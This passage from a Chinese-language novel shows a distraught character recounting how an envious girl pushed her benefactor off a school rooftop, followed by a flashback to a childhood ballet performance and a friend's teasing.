“逃离原本的家庭,宋昭玥的人生彻底与楚纨绑在了一起。” “宋昭玥感激楚纨对她的帮助,所以在生活对楚纨有求必应,可谓是……百依百顺。”宋刑说着,攥紧了酒杯,却怎么也克制不住地颤抖着:“可这样不好看,像一条跟屁虫,像一条跟在主人身后的哈巴狗……因为没有楚纨,她什么都不是!” “如果没有楚纨,她就要被迫嫁给一个连初中学历都没有,整天游手好闲,得过且过的,大她十岁的男人!” “看着光鲜亮丽的楚纨,宋昭玥心中生出了嫉妒,她不明白,为什么同样是人,为什么同样是女孩子,楚纨过着人上人的生活,而她却要被摔在泥里。” “她和楚纨,就像小丑和白天鹅,是云泥之别……” 宋刑手中的就被“啪”地一声摔在地上,发出刺耳的声音,她痛苦的抱着脑袋,颤抖地说:“所以,在校庆舞会结束后,宋昭玥用生日为借口,将楚纨约到了天台……她坦诚地说出了这么多年来积压在胸口的愤懑和怨恨,然后,将救助她的楚纨推下了下去。” 宋刑抓着自己颤抖的手,睁着爬满血丝的眼睛,平静的问:“你说,楚纨该不该死?” 七寻心脏猛地一缩,哑口无言。 “她一个有钱人,一个家庭幸福美满的人,干嘛要把自己装得跟圣母一样去救人,这是她自找的!”宋刑歪着头,问:“为什么不说话,你不是同样经历过这样的事情吗?” 这句话像打开时光之门的钥匙,让七寻想起了很早以前的事情。 那是风迅第一次上台表演芭蕾,她刚学不久,跳得不好,像一只跳梁小丑,下台后不仅被舞蹈老师说了一顿,还遭到了同学们的嘲笑。 “闭嘴,你们再敢笑一下试试!”七寻面无表情地挡在了风迅面前,将嘻嘻哈哈的同学赶走。 转身,风迅缩在角落里,哭得一把鼻涕一把眼泪。 七寻记得那时候她跟班上的人都不熟,但她看不得别人哭,于是也不管洁不洁癖的,直接用袖子在哭花脸的风迅脸上刮了一遍。 “别哭了……哭起来很丑的。” 她不安慰还好,一安慰,一下子触到了风迅逆鳞。 哭得不能自已的风迅一把挥开了七寻的手,不服气道:“上台出丑的又不是你,我才不要你假好心!”